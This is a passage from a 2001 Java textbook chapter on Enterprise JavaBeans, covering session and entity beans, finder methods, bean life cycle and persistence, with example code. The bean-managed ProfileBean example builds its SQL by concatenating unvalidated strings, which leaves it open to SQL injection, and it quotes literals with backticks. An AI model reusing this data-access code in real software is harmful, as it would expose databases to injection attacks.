Session beans implement the javax.ejb.SessionBean interface. This interface extends the javax.ejb.EnterpriseBean interface and specifies ejbActivate(), ejbPassivate(), ejbRemove(), and setSessionContext() methods.

In addition to the standard EJB object methods mentioned in the previous section, a session bean also needs to implement a setSessionContext() method, as specified in the SessionBean interface. The container calls this method on the session bean just after the bean has been created, passing in a javax.ejb.SessionContext object that represents the runtime context for the bean. The session context is valid for the life of the bean. The session bean can use the SessionContext to get a reference to the remote object associated with the bean, by calling the getEJBObject() method on the context object. Since the bean is not required to implement the remote interface for the bean, this object may be different from the bean itself, and may implement a class generated by the server based on the remote interface, the home interface, and the bean implementation you provided. More about that later, when we talk about deploying EJB objects.

The SessionContext that the container passes to a session bean is also an EJBContext, which is a general representation for runtime context information, regardless of whether the bean is an entity or session bean. Among other things, the EJBContext has accessors that allow the bean to get a reference to its home interface (getEJBHome()), a list of environment properties used to deploy the bean (getEnvironment()), and the identity of the client that is currently executing a transaction with the bean (getCallerIdentity()).

7.5.1. Stateless Versus Stateful Session Beans

Session beans can be either stateful or stateless. A stateless session bean does not maintain state across method calls. If a client makes a series of remote method calls and/or transactions with the stateless bean, the bean is in the same state at the start of each method call or transaction. Our ProfileServerBean is such a bean. Stateless session beans of the same type can be considered identical to each other, and can be pooled and reused by multiple clients. A stateless session bean can be used concurrently by multiple remote clients without fear of conflicting with each other, since there is no shared state data that can be corrupted. Stateless beans don't need to be passivated since they have no state that needs to be restored when they're reactivated. The container simply destroys any stateless session beans it feels are no longer needed.

A stateful session bean, on the other hand, does maintain state that can be accessed and changed directly by the client's interactions with the bean. A stateful session bean is generally not intended to be accessed by more than a single remote client; the state of the stateful session bean along with its remote methods act as an extension of the client that created the bean.

To illustrate the difference between stateless and stateful session beans, let's take our ProfileServerBean and convert it to a stateful session bean. The ProfileServerBean is stateless because all it does is accept requests for user profiles and return the profiles directly to the client as RMI object references. The client then interacts with the Profile object directly, and the Profile manages the state of the interaction, in the form of the values of the profile entries. If the profile were a stateful enterprise bean itself, we wouldn't need the ProfileServer at all.

Example 7-5 shows the remote interface for a stateful Profile bean. It's similar to the remote interface for the RMI-based Profile we used in the stateless ProfileServerBean example. It has setEntry() and getEntry() methods that access entries using their names. The Profile bean also has accessors for the name of its user.

Example 7-5. Remote Interface for the Stateful Session Bean

import javax.ejb.*;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Profile extends Remote, EJBObject {
  public String getName() throws RemoteException;
  public void setName(String name) throws RemoteException;
  public String getEntry(String key) throws RemoteException;
  public void setEntry(String key, String value) throws RemoteException;
}

The implementation of the stateful ProfileBean is shown in Example 7-6. It has the requisite implementations for the bean methods needed by the container and includes two ejbCreate() methods: one with no arguments that creates an unnamed profile and another that takes the name of the user of the profile. The corresponding create() methods on the ProfileHome interface are shown in Example 7-7. The state of this stateful session bean is maintained in a String field that holds the profile user's name and a Properties object that keeps the profile entries. The principal design difference between the ProfileBean and the stateless ProfileServerBean is the state information stored on the ProfileBean in its data members. The get/set accessors from the remote Profile interface are implemented here as operations on these fields.

Example 7-6. Implementation of the Stateful Session Bean

import javax.ejb.*;
import java.rmi.RemoteException;
import java.util.Properties;

public class ProfileBean implements SessionBean {
  // Name of the person owning the profile
  private String mName = "";
  // Entries in the profile (name/value pairs)
  private Properties mEntries = new Properties();

  // Store session context
  private SessionContext mContext = null;

  // Session bean methods
  public void ejbActivate() {
    System.out.println("ProfileBean activated.");
  }

  public void ejbRemove() {
    System.out.println("ProfileBean removed.");
  }

  public void ejbPassivate() {
    System.out.println("ProfileBean passivated.");
  }

  public void setSessionContext(SessionContext context) {
    System.out.println("ProfileBean context set.");
    mContext = context;
  }

  public void ejbCreate() {
    System.out.println("Nameless ProfileBean created.");
  }

  public void ejbCreate(String name) throws NoSuchPersonException {
    mName = name;
    System.out.println("ProfileBean created for " + mName + ".");
  }

  // Business methods
  public String getName() {
    return mName;
  }

  public void setName(String name) {
    mName = name;
  }

  public String getEntry(String key) {
    return mEntries.getProperty(key);
  }

  public void setEntry(String key, String value) {
    mEntries.put(key, value);
  }
}

Example 7-7. Home Interface for the Stateful Session Bean

import javax.ejb.*;
import java.rmi.RemoteException;

public interface ProfileHome extends EJBHome {
  public Profile create() throws RemoteException, CreateException;
  public Profile create(String name) throws RemoteException, CreateException;
}

This stateful bean is used by clients to maintain a set of application-specific profile entries for a named user. Here is an example client scenario:

// Get the Profile bean's home interface
ProfileHome pHome = ...
// Create a profile for a person
System.out.println("Creating profile for " + name);
Profile profile = pHome.create(name);
// Get/set some entries in the profile
System.out.println("Setting profile entries for " + name);
profile.setEntry("favoriteColor", "blue");
profile.setEntry("language", "German");
System.out.println("Getting profile entries for " + name);
System.out.println("\tFavorite color: " +
  profile.getEntry("favoriteColor"));
System.out.println("\tLanguage: " + profile.getEntry("language"));

After getting the home interface for the ProfileBean, the client creates a profile for a named user, sets the values for some profile entries, and gets them back again.

An EJB container must be told at deployment time whether a session bean is stateful or stateless. The container uses this information to determine how to handle pooling of the session beans and whether to passivate the bean or not, among other things. Since stateless beans can be used by any client, the container pools stateless beans and doles them out to clients as needed. If new stateless beans are needed, the container creates them, and when they aren't needed (e.g., the rate of client requests decreases), they are simply destroyed. In order to allow the container to fill its pool, any stateless session bean must provide a single create() method with no arguments. Stateless beans implement only the no-argument creation method, since they have no client state that could be affected by arguments. An additional restriction on stateless beans is that they cannot participate in transaction synchronization and cannot implement the SessionSynchronization interface, which is described in the next section.

7.5.2. Optional Transaction Support

Since session beans don't typically represent persistent shared data, and stateful session beans can only be accessed by a single client at a time, user transaction boundaries may not be important to such a bean. If, however, the session bean is managing database data for the user, it may want to know about the beginning and ending of user transactions, so that it can cache data at the start and commit its database updates at the end. For this reason, the EJB specification allows session beans to optionally implement the javax.ejb.SessionSynchronization interface. By implementing this interface, the session bean indicates that it wants the container to notify it about the beginning and end of transactions.

In this case, the bean must implement the three methods declared on the interface: afterBegins(), beforeCompletion(), and afterCompletion(). The container calls the bean's afterBegin() method just after a new transaction begins. This lets the bean allocate any resources it might need during the transaction and cache database data, for example. Just before the transaction completes, the container calls the bean's beforeCompletion() method. In this method, the bean can release any resources or cached data it may have initialized during the transaction. The afterCompletion() method is called just after the transaction has completed. The container passes in a boolean value that is true if the transaction was committed and false if the transaction was rolled back. The bean can use this notification to deal with rollbacks, for example, allowing the bean to undo any changes made during the transaction.

Previous | Home | Next
7.4. Implementing a Basic EJB Object | Book Index | 7.6. Implementing Entity Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementing Entity Beans (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.6. Implementing Entity Beans

An entity bean represents data that is stored in a database or some other persistent storage. Entity beans are persistent across client sessions and the lifetime of the server. Each entity bean of a given type has a unique identity that can look up the same bean from multiple clients. No matter when or where you get a reference to an entity bean with a given identity, the bean should reflect the current state of the persistent data it represents. Multiple clients can access an entity bean at the same time. The EJB container manages these concurrent transactions for the entity bean, ensuring that client transactions are properly isolated from each other. Note that support for entity beans is not strictly required by the EJB 1.0 specification. This has been changed in the EJB 1.1 specification, which makes entity bean support mandatory in EJB-compliant application servers.

An entity bean can be passivated by its container, but the meaning of being passivated is slightly different. A container passivates an entity bean (calling its ejbPassivate() method in the process) when it wants to disassociate the bean from the persistent data entity it has been representing. After being passivated, the bean may be put into the container's pool of entity beans to associate with another client-requested entity or it may be removed from the server altogether.

At a fundamental level, entity beans are implemented similarly to session beans. You need to provide a home interface, a remote interface, and a bean implementation. An entity bean, however, requires some additional methods in its home interface and bean implementation, to support the management of its persistent state and to allow clients to look up the entity bean from persistent storage. Entity beans must also provide a class that serves as its primary key, or index, into its persistent storage.

There are two ways persistent storage for an entity bean can be managed: by the EJB container or by the bean itself. In the first case, called a container-managed entity bean, the bean leaves the database calls to the container. The deployment tools provided with the EJB server are responsible for generating these database calls in the classes it uses to deploy your bean. In the second case, called bean-managed entity beans, you provide the database calls for managing your bean's persistent storage as part of your bean implementation.

If you can rely on the EJB container to handle your entity bean's persistence, this can be a huge benefit, since it saves you from having to add JDBC code to your beans. But the automated persistence support in EJB is limited, and there are times when you'll need to manage persistence directly in your bean implementation. We discuss the pros and cons of each of these scenarios a bit later in this section.

7.6.1. Primary Keys

If you develop an entity bean, you must provide the EJB container with a class that serves as the primary key for the bean. A primary key includes all of the information needed to uniquely identify an item in persistent storage. The primary key for a person's records in a database, for example, might be a first and last name, or a social security number (for U.S. citizens), or some other identification number. If you're developing an EJB object that represents a bank account, you might make the primary key an object that holds the account number, which is a unique identifier for an Account object. An EJB container typically creates unique identifiers for all session and entity beans, so that it can internally track individual beans. The primary key used for entity beans is a more public unique identifier, in that clients can see the primary key for an entity bean, and the primary key is used directly by the bean implementation to load/update its state from persistent storage.

If we were to develop an entity-bean version of our ProfileBean (which we'll do shortly), the primary key class might look something like the following:

public class ProfilePK implements java.io.Serializable {
  public String mName;
  public ProfilePK() {
    mName = null;
  }
  public ProfilePK(String name) {
    mName = name;
  }
}

Since there is a one-to-one correspondence between named users and their profiles, we just use the name of the user as our primary key for an entity ProfileBean.

The primary key class for an entity bean must be derived from java.io.Serializable. If any of the persistence of the entity bean is container-managed, the primary key class must also obey the following:

  • It must be a public class.

  • It must have a default constructor (one with no arguments) that is public.

  • All its data members must be public.

  • All of the names of the data members on the class must be names of container-managed data members on the entity bean.

The primary key for our ProfileBean is really just a wrapper around a String field that holds a name. We've done this to support the option of using container-managed persistence for the bean. We have to use the ProfilePK class as the primary key, not just a String, because the EJB container needs to be able to introspect on the primary key and match its fields with the corresponding fields on the bean class.

7.6.2. Finder Methods

Since entity beans are persistent and can be accessed by multiple clients, clients have to be able to find them as well as create them. To this end, an entity bean's home interface can provide findXXX() methods, and the bean implementation has to have corresponding ejbFindXXX() methods that take the same arguments and have the same return types. The findXXX() methods on the home interface can have any name, as long as the method name begins with find. A bank account bean, for example, might define a findByName() method that accepts a string that is the name of the person whose accounts are desired.

Each findXXX() method on the home interface must return either an instance of the bean's remote interface or a collection of these objects. In the EJB 1.0 specification, only Enumeration objects can return collections of entity beans, but the EJB 1.1 specification allows EJB implementations to also use Java 2 Collection types as return types for findXXX() methods. In our bank account example, the findByName() method can return multiple accounts (e.g., if a person has both checking and savings accounts), so it should be declared as returning an Enumeration.

The home interface for an entity-based ProfileBean is shown in Example 7-8. It provides two finder methods: findByPrimaryKey() finds a profile by its primary key (which encapsulates the user's name), and findByEntryValue() finds profiles that have a particular attribute value set. The first finder method returns a single Profile object, since there is only a single Profile for each user. The second finder method returns a collection of Profile objects (as an Enumeration), as multiple user profiles might have a given attribute value. The findByPrimaryKey() method is a standard finder method defined by the EJB specification; its only argument is always the primary key type for the entity bean.

Example 7-8. Home Interface for an Entity ProfileBean

import javax.ejb.*;
import java.rmi.RemoteException;

public interface ProfileHome extends EJBHome {
  public Profile create() throws RemoteException;
  public Profile create(String name)
    throws RemoteException, DuplicateProfileException;

  public Profile findByPrimaryKey(ProfilePK key)
    throws RemoteException, FinderException;
  public Enumeration findByEntryValue(String key, String value)
    throws RemoteException, FinderException;
}

A client can use the findXXX() methods on the home interface to determine if a bean (or beans) with a given identity already exists in persistent storage. If a findXXX() method finds an appropriate bean (or beans), a single primary key (or set of keys) is initialized to represent the unique identity of the bean(s) that matched the client query, and these key(s) are returned to the client. If the identified bean cannot be found in persistent storage, a javax.ejb.FinderException is thrown. All findXXX() methods on the bean's home interface must declare that they can throw FinderException and RemoteException (since the method is an RMI remote method).

The EJB container intercepts the client's invocation of the finder method and invokes the corresponding ejbFindXXX() method on an instance of the entity bean on the server. An entity bean of the appropriate type is pulled from the container's pool and its ejbFindXXX() method is called with the client's arguments. The ejbFindXXX() method on the bean should do the necessary queries to persistent storage to determine if the requested data exists there, then create primary key instances and initialize them with the results of the query. The primary key objects are the return value of the ejbFindXXX() method. The EJB container is responsible for taking the key(s) returned by the ejbFindXXX() method and converting them to remote objects, whose stubs are returned to the client that invoked the finder method.

It's important to note that the entity bean that executes the ejbFindXXX() method doesn't necessarily represent the entities being looked up by the client. The container uses the bean to call the method, takes the primary key or keys returned, and then uses them to either create new beans or reinitialize existing beans.

An entity bean implementation must at a minimum provide an ejbFindByPrimaryKey() method that accepts a primary key object as its argument. The implementation must also provide additional findXXX() methods to match any other ejbfindXXX() methods on the home interface. Each ejbFind method must have the same arguments and return types as the corresponding find method.

7.6.3. Entity Bean Implementation

I've already mentioned a few additional requirements on entity bean implementations, but here is a list of all the additional methods an entity bean either must implement or has the option to implement:

public priKeyType ejbFindByPrimaryKey(priKeyType) throws FinderException

The only required finder method on an entity bean. Both the argument and the return type must be the bean's primary key type.

public void ejbPostCreate()

If needed, an entity bean can optionally provide an ejbPostCreate() method for each ejbCreate() method it provides, taking the same arguments. The container calls the ejbPostCreate() method after the bean's ejbCreate() method has been called and after the container has initialized the transaction context for the bean.

public void ejbLoad()

Called by the container to cause the bean instance to load its state from persistent storage. The container can call this bean method any time after the bean has been created, to do an initial load from persistent storage or to refresh the bean's state from the database.

public void ejbStore()

Called by the container to cause the bean to write its current runtime state to persistent storage. This method can be called any time after a bean is created.

public void setEntityContext(EntityContext ctx)

The container calls this method after a new instance of the bean has been constructed, but before any of its ejbCreate() methods are called. The bean is responsible for storing the context object.

public void unsetEntityContext(EntityContext ctx)

The container calls this method before the entity bean is destroyed.

Most of these methods, like ejbLoad() and ejbStore(), are invoked by the EJB container to notify the bean about persistent store management.

In addition to these entity-specific methods on bean implementations, the semantics of some of the other standard methods are slightly different for entity beans. Each ejbCreate() method, for example, should not only assign any state data passed in as variables, but also create a record in persistent storage for the new entity bean. The signatures of ejbCreate() methods on entity beans can be different too. For an entity bean that manages its own persistence (a bean-managed entity bean), the ejbCreate() methods return the primary key type for the bean. For a container-managed entity bean, the ejbCreate() methods return void, the same as for session beans. The ejbRemove() method is called by the container when the bean is to be removed from the server. The bean should also remove its state from the persistent storage in its ejbRemove() implementation, since a request by a client to remove() an entity bean is really a request to remove the record from persistent storage as well.

7.6.3.1. A persistent ProfileBean

The major drawback in our stateful session ProfileBean is that the profile data it represents isn't persistent. A profile is created by a client and updated through remote method calls, but once the ProfileBean is removed by the server or the server crashes/restarts, the accumulated profile data is lost. What we really want is a bean whose state is persistent stored in a relational database or some other persistent storage, that can be reloaded at a later time, when the user reenters a profiled application. An entity EJB object provides this functionality, and an EJB container that supports entity beans provides your bean with facilities that make it easier to manage persistent state. It's also possible to have the container manage the persistence of the bean for you, if that's desired.

Let's look at the implementation for the entity bean version of our ProfileBean, shown in Example 7-9. We've already seen the home interface and remote interface for this entity bean in earlier examples. The purpose of the bean is the same as our stateful session version: it represents a profile for a named application user, maintaining a list of name/value pairs for various attributes and options. The difference is that this ProfileBean represents a profile entity that exists as data in persistent storage (a database, in this case). The most obvious differences in the actual code are the JDBC calls peppered throughout the class, where the bean manages its persistent data. There are a few extra methods defined as well. Most of them are required by the EJB specification for entity beans and a few are utility methods used by the JDBC code to connect to the database and make updates.

Example 7-9. An Entity ProfileBean with Bean-Managed Persistence

import javax.ejb.*;
import java.rmi.RemoteException;
import java.util.Properties;
import java.util.Enumeration;
import java.util.Vector;
import java.sql.*;

public class ProfileBean implements EntityBean {
  // Entries in the profile (name/value pairs)
  public Properties mEntries;

  // Store context (nonpersistent)
  private transient EntityContext mContext = null;

  // Entity bean methods

  // During activation, create our entry lookup table
  public void ejbActivate() {
    mEntries = new Properties();
    System.out.println("ProfileBean activated.");
  }

   // Load bean from persistent store. In this case, we're managing the dbase
   // storage, so we store our profile entries as independent records in a
   // separate "PROFILE_ENTRY" table.
  public void ejbLoad() throws RemoteException {
    try {
      // Get primary key from context, use it to load our data
      ProfilePK key = (ProfilePK)mContext.getPrimaryKey();
      loadFromDB(key);
    }
    catch (Exception e) {
      System.out.println("Failed to load ProfileBean: ");
      e.printStackTrace();
      throw new RemoteException("ejbLoad failed: ", e);
    }
    System.out.println("ProfileBean load finished.");
  }

  protected void loadFromDB(ProfilePK key) throws FinderException {
    boolean found = false;
    try {
      // Get a connection and select our profile record
      Connection conn = newConnection();
      Statement s = conn.createStatement();
      s.executeQuery("select name from profile where name = `" + key.mName +
                     "`");
      ResultSet rs = s.getResultSet();
      if (rs.next()) {
        found = true;
        // We found a profile record, so look up the entries
        s.executeQuery("select key, value from profile_entry where name = `"
                       + key.mName + "`");
        rs = s.getResultSet();
        while (rs.next()) {
          String pKey = rs.getString(1);
          String pValue = rs.getString(2);
          mEntries.put(pKey, pValue);
        }
      }
    }
    catch (SQLException e) {
      throw new FinderException("Failed to load profile entries from DB: " +
                                e.toString());
    }
    if (!found) {
      // No profile record found, throw a FinderException
      throw new FinderException("No profile found for " + key.mName);
    }
  }

  // Get connection (BEA/WebLogic-specific version)
  private Connection newConnection() throws SQLException {
    // Make sure that the JDBC driver is loaded
    try {
      Class.forName("weblogic.jdbc.oci.Driver");
    }
    catch (ClassNotFoundException cnfe) {
      System.out.println("Failed to load JDBC drivers.");
    }
    // Get the connection from the pool that we specified in the
    // WebLogic server properties file
    return DriverManager.getConnection("jdbc:weblogic:jts:myPool");
  }

   // Store bean to persistent store. Properties are stored as records in the
   // PROFILE_ENTRY table.
  public void ejbStore() throws RemoteException {
    // Get our primary key from our context
    ProfilePK key = (ProfilePK)mContext.getPrimaryKey();
    try {
      Connection conn = newConnection();
      // Clear out old profile entries
      Statement s = conn.createStatement();
      s.executeUpdate("delete from PROFILE_ENTRY where name = `" + key.mName
                      + "`");
      Enumeration pKeys = mEntries.propertyNames();
      // Add each entry to the PROFILE_ENTRY table
      while (pKeys.hasMoreElements()) {
        String pKey = (String)pKeys.nextElement();
        String pValue = mEntries.getProperty(pKey);
        s.executeUpdate("insert into PROFILE_ENTRY (name,key,value) values "
                        + "(`" + key.mName + "`, `" + pKey + "`, `"
                        + pValue + "`)");
      }
      // Close the statement and the connection, just to be tidy...
      s.close();
      conn.close();
    }
    catch (Exception e) {
      // Store operation failed, toss a RemoteException
      throw new RemoteException("ejbStore failed: ", e);
    }
    System.out.println("ProfileBean store finished.");
  }

  // Remove this named profile from the database
  public void ejbRemove() {
    // Get this profile's name
    ProfilePK key = (ProfilePK)mContext.getPrimaryKey();
    try {
      Connection conn = newConnection();
      // Clear out any profile entries
      Statement s = conn.createStatement();
      s.executeUpdate("delete from profile_entry where name = `" + key.mName
                      + "`");
      // Clear out the profile itself
      s.executeUpdate("delete from profile where name = `" + key.mName
                      + "`");

      s.close();
      conn.close();
      System.out.println("ProfileBean removed.");
    }
    catch (SQLException se) {
      System.out.println("Error removing profile for " + key.mName);
      se.printStackTrace();
    }
  }

  // When we're passivated, release our entries.
  public void ejbPassivate() {
    mEntries = null;
    System.out.println("ProfileBean passivated.");
  }

  // Get context from container
  public void setEntityContext(EntityContext context) {
    mContext = context;
    System.out.println("ProfileBean context set.");
  }

  // Container is removing our context...
  public void unsetEntityContext() throws RemoteException {
    mContext = null;
    System.out.println("ProfileBean context unset.");
  }

  // Since we're managing persistence here in the bean, we need to
  // implement the finder methods
  public ProfilePK ejbFindByPrimaryKey(ProfilePK key)
    throws FinderException, RemoteException {
    loadFromDB(key);
    return key;
  }

  public Enumeration ejbFindByEntryValue(String key, String value)
    throws RemoteException, FinderException {
    Vector userList = new Vector();
    // Get a new connection from the EJB server
    try {
      Connection conn = newConnection();
      Statement s = conn.createStatement();
      // Issue a query for matching profile entries, grabbing just the name
      s.executeQuery("select distinct(name) from profile_entry where " +
                     " key = `" + key + "` and value = `" + value + "`");
      // Convert the results in primary keys and return an enumeration
      ResultSet results = s.getResultSet();
      while (results.next()) {
        String name = results.getString(1);
        userList.addElement(new ProfilePK(name));
      }
    }
    catch (SQLException se) {
      // Failed to do database lookup
      throw new FinderException();
    }
    return userList.elements();
  }

  // Create method (corresponds to each create() method on the
  // home interface, ProfileHome).  Nothing to initialize in this case
  public ProfilePK ejbCreate() {
    System.out.println("Nameless ProfileBean created.");
    return new ProfilePK();
  }

  // Create method with name of profile owner.
  public ProfilePK ejbCreate(String name) throws DuplicateProfileException {
    try {
      Connection conn = newConnection();
      Statement s = conn.createStatement();
      s.executeUpdate("insert into profile (name) values (`" + name + "`)");
      s.close();
      conn.close();
    }
    catch (SQLException se) {
      System.out.println("Error creating profile, assuming duplicate.");
      throw new DuplicateProfileException("SQL error creating profile for " +
                                          name + ": " + se.toString());
    }

    System.out.println("ProfileBean created for " + name + ".");
    return new ProfilePK(name);
  }

  // Post-creation notification.  Nothing to do here, but we need
  // to provide an implementation.
  public void ejbPostCreate() {
    System.out.println("ProfileBean post-create called.");
  }

  // Post-creation notification.  Nothing to do here, what we need
  // to provide an implementation.
  public void ejbPostCreate(String name) {
    System.out.println("ProfileBean post-create called for " + name + ".");
  }

  // Business methods
  public String getName() {
    ProfilePK key = (ProfilePK)mContext.getPrimaryKey();
    return key.mName;
  }

  public String getEntry(String key) {
    return mEntries.getProperty(key);
  }

  public void setEntry(String key, String value) {
    mEntries.put(key, value);
  }
}

The structure of the entity ProfileBean is similar to the stateful session bean version in Example 7-6. A Properties object holds the profile entries for the user, and the getEntry() and setEntry() remote method implementations access this Properties object for the client. You might notice that there is no data member on the entity ProfileBean to hold the name of the user. We can do this here because we're not using the EJB container to manage the bean's persistence for us, so we're relying on the fact that the name is found in the primary key object, and the primary key is stored for us in the EntityContext the container gives us through the setEntityContext() method. If we were using container-managed persistence, however, we'd have to have a field on the bean for the name, so that the container would know how to set it. The getName() remote method on ProfileBean shows how we retrieve the username for the profile using the getPrimaryKey() method on the EntityContext.

We've also removed the setName() remote method from the entity ProfileBean, since we don't want to allow the client to change the name of an existing, active entity bean. The Profile remote interface for this bean, not shown here, is similar to the Profile interface in Example 7-5, but does not have a setName() method. Since the Profile is now a persistent entity bean and the name is the primary key, or identifying attribute, of the bean, the name of the bean can only be set when the bean is created. While the entity bean is active, it is associated with a profile entity for a specific user, and the client can only read the name associated with the profile.

In the ProfileBean code, you'll notice many of the EJB-required methods, including ejbActivate(), ejbPassivate(), ejbCreate(), and ejbRemove(). The ejbActivate() and ejbPassivate() methods handle the movement of the bean out of and into the EJB server's entity bean pool, respectively.

The ejbCreate() methods on the ProfileBean create a new profile entity in the database. There is a matching ejbCreate() method for each create() method on our ProfileHome interface from Example 7-8. The EJB container is responsible for intercepting the generated primary key object, converting it to a remote Profile object, and returning a remote Profile stub to the client that called the create() method on the ProfileHome interface. The ejbRemove() method on our ProfileBean deletes all the records for this profile entity from the database.

The ProfileBean also contains methods specific to entity beans. For each ejbCreate() method, it has a corresponding ejbPostCreate() method, which is called by the container after the ejbCreate() method has returned, and the container has initialized the bean's transaction context. There's nothing more for us to do in our ProfileBean at this point, so we just print a message to standard output in each ejbPostCreate() method.

There is an ejbFindXXX() method in our entity ProfileBean that corresponds to each findXXX() method in ProfileHome. The ejbFindByPrimaryKey() method simply takes the primary key passed in as an argument and attempts to load the data for the entity from the database. If successful, it returns the primary key back to the container, where it is converted to a remote Profile object to be returned to the client. Note that it's not necessary for us to actually load all the profile data here in the finder method; we need to verify only that the named entity exists in the database and either return the primary key to signal success or throw an exception. The container takes the returned primary key and assigns it to one of the beans in its pool (possibly the same one it called the finder method on, but not necessarily). Since we already have the loadFromDB() method used in ejbLoad(), it is a simple matter to reuse it here in the finder method. If the performance hit for loading the profile data twice is too great, we'd have to rewrite the finder method to simply check the PROFILE table for a record matching the name in the primary key.

The ejbFindByEntryValue() method takes a key and value String arguments and attempts to find any and all profile entities with a matching key/value pair in the PROFILE_ENTRY table. Each name that has such a record is converted to a primary key object and returned to the container in an Enumeration. The container converts each primary key object into a remote Profile object and returns the set to the client. If we encounter a database problem along the way, we throw a FinderException.

7.6.4. The Entity Context

The EJB container provides context information to an entity bean in the form of an EntityContext object. The container sets this object using the bean's setEntityContext() method and removes it when the bean is being removed by calling the bean's unsetEntityContext() method. Like SessionContext, EntityContext provides the bean with access to its corresponding remotely exported object through the getEJBObject() method. The EntityContext, in addition, gives an entity bean access to its primary key through getPrimaryKey(). The declared return type of this method is Object, but the object returned is of the bean's primary key type. Note that the data accessed through the EntityContext might be changed by the EJB container during the bean's lifetime, as explained in the next section. For this reason, you shouldn't store the EJB remote object reference or primary key in data variables in the bean object, since they might not be valid for the entire lifetime of the bean. Our entity ProfileBean, for example, stores the EntityContext reference in an instance variable, where it can access the context data as needed during its lifetime.

7.6.5. Life Cycle of an Entity Bean

Before the first client asks for an entity bean by calling a create() or findXXX() method on its home interface, an EJB container might decide to create a pool of entity beans to handle client requests for beans. This potentially reduces the amount of time it takes for a client to receive a entity bean remote reference after it makes a request for an entity bean. To add a bean to its pool, the container creates an instance of your bean implementation class and sets its context using the setEntityContext() method. At this point, the entity bean hasn't been associated with a particular data entity, so it doesn't have a corresponding remote object.

When a client calls a create() method on the bean's home interface, the container picks a bean out of the pool and calls its corresponding ejbCreate() method. If the efbCreate() method is successful, it returns one or more primary key objects to the container. For each primary key, the container picks an entity bean out of its pool to be assigned to the entity represented by the key. Next, the container assigns the bean's identity by setting the properties in its EntityContext object (e.g., its primary key and remote object values). If the bean has an ejbPostCreate() method, that gets called after the bean's entity identity has been set. The ejbCreate() method should create the entity in persistent storage, if the bean is managing its own persistence.

Alternately, the client might call a findXXX() method on the home interface. The container picks one of the pooled entity beans and calls the corresponding ejbFindXXX() method on it. If the finder method finds one or more matching entities in persistent storage, the container uses pooled entity beans to represent these entities. It picks entity beans out of the pool and calls their ejbActivate() methods. Before calling ejbActivate(), the container sets the bean's context by assigning the corresponding primary key and remote object reference in its context.

After an entity bean has been activated (either by being created through one of its ejbCreate() methods or by being found and having its ejbActivate() method called), it is associated with a specific entity in persistent storage, and with a specific remote object that has been exported to a remote client or clients. At any point after this, the container can call the bean's ejbLoad() or ejbStore() method to force the bean to read or write its state from/to persistent storage. The bean's business methods can also be invoked by clients when it is in this state.

At some point, the container may decide to put the bean back into its internal pool. This might happen after all remote references to the bean have been released or after a certain period of inactivity with the bean. The container might also do this as a reaction to client loading issues (e.g., time-sharing pooled beans between client requests). When the container wants to remove the association between the bean and the remote object, but doesn't want the object's state removed from persistent store, it calls the bean's ejbPassivate() method. The bean can release any resources it allocated while in the active state, but it doesn't have to update persistent storage for the entity it represents, as this was done the last time its ejbStore() method was invoked by the container.

The bean can also lose its association with an entity when the client decides to remove the entity. The client does this either by calling a remove() method on the bean's home interface or calling the remove() method directly on an EJB object. When one of these things happens, the container calls the bean's ejbRemove() method, and the bean should delete the data in persistent storage pertaining to the entity it represents. After the ejbRemove() method completes, the container puts the bean back into its internal pool.

7.6.6. Handles on Entity Beans

Every bean's remote interface extends the EJBObject interface. This interface allows the client to obtain a serializable handle on the enterprise bean. This handle is a persistent reference to the bean that can be serialized and then stored in local storage on the bean or emailed as an attachment to other users, for example. Later, a client can deserialize the handle object and continue interacting with the bean it references. The handle contains all of the information needed to reestablish a remote reference to the enterprise bean it represents. Since this is only useful for beans that are still valid when the handle is reconstituted, it is usually only applicable to entity beans.

The handle for a bean can be obtained using the getHandle() method on a remote bean object reference:

Profile profile = ...;
Handle pHandle = profile.getHandle();

getHandle() returns a javax.ejb.Handle object. The Handle interface itself does not extend java.io.Serializable, but any class that implements it is required by the EJB specification to extend Serializable. Typically, the Handle implementation is provided by the EJB container, which enforces this restriction. So you can always assume that the Handle for an EJB object can be stored in serialized format, if needed:

ObjectOutputStream oout = ...;
oout.writeObject(pHandle);

Later, you can read the object back from its serialized state and obtain a reference to the remote bean object, using the getEJBObject() method on the handle:

ObjectInputStream oin = ...;
Handle pHandleIn = (Handle)oin.readObject();
Profile profileIn = (Profile)pHandleIn.getEJBObject();
profileIn.getEntry("favoriteColor");

7.6.7. Container-Managed Persistence

In our entity-based ProfileBean, shown in Example 7-9, the persistent state of the profile entity is managed by the bean itself. There's JDBC code in the ProfileBean implementation that loads, stores, and removes the entity's database entries. This is called bean-managed persistence : the EJB container calls the appropriate methods on your entity bean, but your bean implementation is responsible for connecting to the database and making all of the necessary queries and updates to reflect the life cycle of the data entity.

As I mentioned earlier, the EJB specification provides another option: container-managed persistence. In this case, you define data members on your entity bean implementation that hold the state of the entity and tell the EJB container how to map these data members to persistent storage. If the persistent storage is a database, you tell the container which columns in which tables hold the various data members of your entity. With container-managed persistence, the container is responsible for loading, updating, and removing the entity data from persistent storage, based on the mapping you provide. The container also implements all the finder methods required by the bean's home interface.

If you want to take advantage of container-managed persistence, you have to indicate this to the EJB container when you deploy the bean. You also provide the data mapping at deployment time. To see this in action, let's use a simple entity bean that represents a person using just a first and last name:

import javax.ejb.*;
import java.rmi.RemoteException;
import jen.ejb.NoSuchPersonException;
import java.util.Properties;

public class PersonBean implements EntityBean {
  // First name of person
  public String mFirstName = "";
  // Last name
  public String mLastName = "";

  // Store context (nonpersistent)
  private transient EntityContext mContext = null;

  // No need for us to activate anything in this bean, but we need to
  // provide an implementation.
  public void ejbActivate() {
    System.out.println("ProfileBean activated.");
  }

  // Load bean from persistent store. Container is doing this for us, so
  // nothing to do here.
  public void ejbLoad() throws RemoteException {}

  // Store bean to persistent store.  Container is doing this, so nothing
  // to do here, either.
  public void ejbStore() throws RemoteException {}

  // Nothing to do on a remove.
  public void ejbRemove() {}

  // No state to store on passivation (it's all in persistenct storage).
  public void ejbPassivate() {}

  // Get context from container.
  public void setEntityContext(EntityContext context) {
    mContext = context;
  }

  // Container is removing our context.
  public void unsetEntityContext() throws RemoteException {
    mContext = null;
  }

  // Create method (corresponds to each create() method on the
  // home interface).  Nothing to initialize in this case.
  public void ejbCreate() {
    System.out.println("Nameless PersonBean created.");
  }

  // Postcreation notification.  Nothing to do here, but we need
  // to provide an implementation.
  public void ejbPostCreate() {
    System.out.println("PersonBean post-create called.");
  }

  // Create method with name of person.
  public void ejbCreate(String fname, String lname)
    throws NoSuchPersonException {
